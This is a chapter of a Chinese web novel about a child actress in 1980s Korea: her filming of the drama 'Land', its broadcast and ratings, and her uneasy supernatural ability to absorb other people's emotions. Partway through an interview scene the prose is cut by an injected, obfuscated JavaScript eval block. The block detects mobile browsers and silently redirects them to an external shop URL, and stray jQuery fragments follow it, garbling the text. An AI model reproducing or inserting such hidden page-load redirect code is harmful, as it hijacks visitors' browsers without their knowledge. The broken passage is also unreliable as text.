文趣网 > 都市小说 > 东风来时[娱乐圈] > 10. 正式播出
    李夕昭换上新的服装和造型,饰演守完三年父孝的西姬,坐在祖母身边巡视土地。

    凤顺和吉祥都换了人。他们的家长担心继续拍摄耽误开学,坚持按照第一份合同时间离组。

    现在饰演凤顺的是全玫善。她比李夕昭高出不少,刚开始的时候总拿李夕昭当小妹妹。朱日清不得不纠正她:“凤顺是伺候小姐,不是哄孩子。”

    几天之后,全玫善终于能做到时刻退后半步,像真正的侍女那样对待李夕昭。

    李夕昭当然也有变化。幼年西姬走路时脚步快,时而蹦蹦跳跳,想到什么就做什么。她的礼仪培训其实基本没有用武之地。整个剧组就她没有礼仪,因为她既不是仆人,也不是大人。

    三年以后,她的裙摆更长,鞋底更高,礼仪老师严格按照培训内容要求她。每一步距离要大致相同,进门以前要有停顿,坐下以后手不能乱动。

    正式拍摄开始,轿子从村道上缓慢经过。西姬坐得端正,目光却被路边一只突然窜出的獐子吸引,脑袋偏了一点。她很快想起祖母就在旁边,又把脸转回来。尹氏夫人指给她看远处的田,告诉她脚下、山边、河旁的土地都属于崔家。

    西姬顺着她的手看过去。

    田里的人看起来很小,正在弯腰劳作。她对佃租、收成和家业半懂不懂,但已经为自己家中拥有这一大片土地而感到骄傲。

    祖母说:“以后要看好崔家的土地。”

    “是。”

    拍完这一条,摄影师先说画面好看。朱日清回看了几遍,让场记记下来。这个镜头后来成了第一部预告里出现最多的一幕:一老一小坐在轿中,身后是夏天无边的稻田。观众还不知道土地会给西姬带来什么,镜头里的孩子也不知道。

    下午拍脱下丧服。

    服装助理把最后一件粗麻孝衣从李夕昭肩上取下来,露出里面素净的新衣。凤顺拿来一支迎春花,说是吉祥在山上折的。西姬先问在哪里折的,听说不是坟地附近,才允许凤顺替自己插上。

    凤顺把花插到她发间,笑着说:“小姐这样好看。”

    西姬伸手摸了一下,又从剩下的花里挑了一朵,插到凤顺头上。两个人对着镜子看了一会儿,忍不住一起笑。

    幼年西姬笑起来时整个人都往前扑,喜欢谁就直接拉住谁的手。现在的她仍然喜欢花,也愿意和凤顺亲近,笑容却收得更快。笑完以后,她看见镜中那件已经脱下来的孝衣,手指从花瓣上慢慢放了下来。

    “停。”朱日清说,“过。”

    三年后的西姬和之前的声线也不同,李夕昭处理得很好。但朱日清最满意的,是一场没有台词的戏。

    赵俊九一家第一次进入崔宅,西姬隔着窗纸看他们搬东西。她没有出声询问,也没有跑出去呵斥他们。她只是安静地坐在窗后,先看洪氏指挥仆人,再看祖母的院门。她的脸上没有明显的敌意,把手里的书慢慢合上。

    朱日清收工之后,自己悄悄回放这一段,仔细看她合书的动作、抬眼的方向和眼神,看了好几遍。

    1987年10月24日,星期六,《土地》第一部正式开播。

    播出以前,KBS已经做了近一个月的宣传。报纸上刊登过平沙里大规模外景的照片,也写过朴素利坚持延期、制作组重新考证方言和民俗的消息。朱日清担心了大半年,真正到播出反而有点释然了。是好是坏,也只能这样了。

    李夕昭没有留在河东。最近正在集中拍成年演员的戏份,她得以回学校露个面。她离开了几个月,三年级二班的座位还在,桌子很干净,抽屉里却被金载宪塞满了试卷和笔记。

    晚上,全家聚在客厅看首播。

    金昌赫看电视不爱被人打扰,金载民偏偏从片头开始就不停提问。为什么他们说话和首尔不一样,为什么屋顶都是草,为什么李夕昭还没出来。等西姬终于从九千身后探出头,他又大喊:“出来了!”

    “我们都看见了。”金载宪说。

    屏幕里的西姬穿着鲜亮的衣服,在院子里追着凤顺跑。她骂人、抢东西、让吉祥背自己,和李夕昭平时在家的样子完全不同。金载民看了一会儿,得出结论:“你在剧里更坏。”

    “那是演戏。”李夕昭说。

    金载民还在嘟嘟囔囔,被金昌赫敲了一下头。

    金载宪从西姬一出来就没怎么说话。他见过李夕昭没睡醒、胃疼、头破血流的样子,也见过她在学校里读书、考试的样子。电视里的人有同一张脸,却属于一个他完全不知道的世界。镜头拉近时,那张脸熟悉又陌生,眼睛里一闪而过的得意或委屈都呈现得清清楚楚。

    第一集播完,片尾演员表缓慢滚动。

    崔西姬——李夕昭。

    晚上回房间,金载宪拿出当天的报纸,把节目预告上李夕昭的名字剪下来,夹进自己的连环画里。

    看完第一集之后,金载民给出了评价:“这剧不如《思母曲》好看。”

    大众反映跟金载民差不多。很多人不习惯看这样的古装剧:演员的衣服都灰扑扑的,背景也很暗,看起来和农村一模一样。大人小孩都操着浓重的方言,剧情也没有激烈冲突,人物又多又乱。

    西姬作为一个戏份不少的孩子,有观众觉得她漂亮,也有人嫌她脾气坏。

    “这才像大户人家的小姐。”首尔一家理发店里,老板娘一边给客人烫头,一边说,“全家都围着她转,怎么可能从小就懂事?”

    客人不赞同:“长得太漂亮了,看着不像会吃苦的。”

    首播收视率出来,21.5%。朱日清松了口气。这个成绩算是不功不过,何况他有信心,后面收视率会走高。

    第二周,收视率稳步上升,突破25%。第三周,别堂夫人私奔、西姬大哭的剧情播出,收视率31%。第四周,崔致修身亡,收视率达到37.8%。

    观众来信像雪片一样寄到KBS。单和西姬有关的话题就包括别堂夫人还会不会回来、西姬太过骄纵很讨厌、大人欺骗孩子是否正确、崔致修死了留下孤女和老母亲怎么办。讨论度扶摇直上,河东拍摄基地也迎来了采访的记者。

    报社记者本来只打算拍导演和几名成年演员,导演朱日清力荐李夕昭也来参与。记者问她怎么理解西姬,李夕昭说:“她很怕别人可怜她。”

    “为什么?”

    “因为两班小姐的身份是她最后的骄傲,她不允许身边这些下人可怜她。可怜意味着无力,她讨厌没有力量的自己。”

    记者又问:“这是你自己的想法

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949188|214125||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,还是导演教你的?”

    “我看小说的时候想到的。”

    第二天的报道洋洋洒洒写了一整版《土地》剧组的艰苦付出。里面提到李夕昭是“熟读原著的天才童星”。附近来围观的村民更多了,有人隔着警戒线喊她“西姬小姐”,也有人带着孩子来要签名。

    那天收工早,朱日清叫李夕昭一起吃饭。自从凤顺和吉祥换了演员,李夕昭总一个人吃饭。

    桌上只有一条烤鱼和几碟小菜,他把鱼腹最软的一块夹给她,随口问:“报纸说你是天才,你高兴吗?”

    “还好。”

    “有人来要签名,也没见你很高兴。”

    李夕昭把鱼刺挑到一边:“他们喜欢的是西姬,又不是我。”

    朱日清看了她一眼:“你拍的第一部长篇剧,就开始操心观众认不认识真正的你了?喜欢的是西姬,不好吗?”

    李夕昭发现了,这话听起来确实有些不知足。她想了想说:“我只是发现,比起拍戏带给我的名气,我更喜欢表演本身。我喜欢扮演其他人。沉浸在角色当中,可以让我忘记现实中的自己。演某些戏份的时候,我可以做一些我平时绝不会做的事。这种感觉很妙。当我看到我塑造的角色播出的时候,我就有强烈的满足感。别人的喜欢只是锦上添花的点缀。”

    朱日清拿她的筷子帮她挑:“但是演戏是很辛苦的。要穿着厚重的丝绸衣服,大夏天在田里跑来跑去。要不重样地哭,一个镜头哭好几遍。其他两个孩子都喊过累,他们走了也不仅仅是因为合同到期了,也因为妈妈心疼,不想让他们再拍了。你从来没有喊过累。”

    李夕昭用奇怪的眼神看着他:“我妈又不在这儿。”

    朱日清不说话了,他专心致志地挑鱼刺。过了一会儿,他又说:“报纸和剧组传言说你是天才,是说你学习能力强。我想说,你不仅是学业上的天才,你是个天才的体验派演员。每一个导演都希望能遇到这样全身心投入到戏里的演员,我也一样。但是你还太小,所以我总想提醒你,别太沉浸,会很危险。”

    李夕昭笑了。她在片场,总是能遇到好人呢。“谢谢导演,我记住了。”

    回房间之后,她的笑容落了下来。朱日清担心的是她太过沉浸,分不清角色和自己。她想到的却是情绪回声。

    她关上灯,试着找出第一次在车里感受到的、金载宪的内疚。那已经是很久以前的事了。她甚至记不清当时车窗外有什么,胸口却依然在瞬间发闷。

    接着是医生看见伤疤时的愤怒,金慧绣握住剧本时短暂的痛苦,还有灵堂里几十个人混在一起的悲伤。

    它们居然都还在。

    人的情绪明明会随着时间消退,留在她身体里的东西却没有跟着消失。她从来没有认真想过这些情绪去了哪里。

    如果它们一直都积攒在自己的身体里,会不会有一天再也装不下?到那一天,她会变成什么样子?

    李夕昭睁开眼,胃里又开始隐隐翻腾。她立刻停止回想,坐起来喝了一杯水。

    她翻出笔记本。使用情绪回声的戏份已经少到几天才有一条。她感到安心不少。合上笔记本躺下,她默默给自己定下一条规矩:如非必要,不再主动感知别人的情绪,不再使用情绪回声。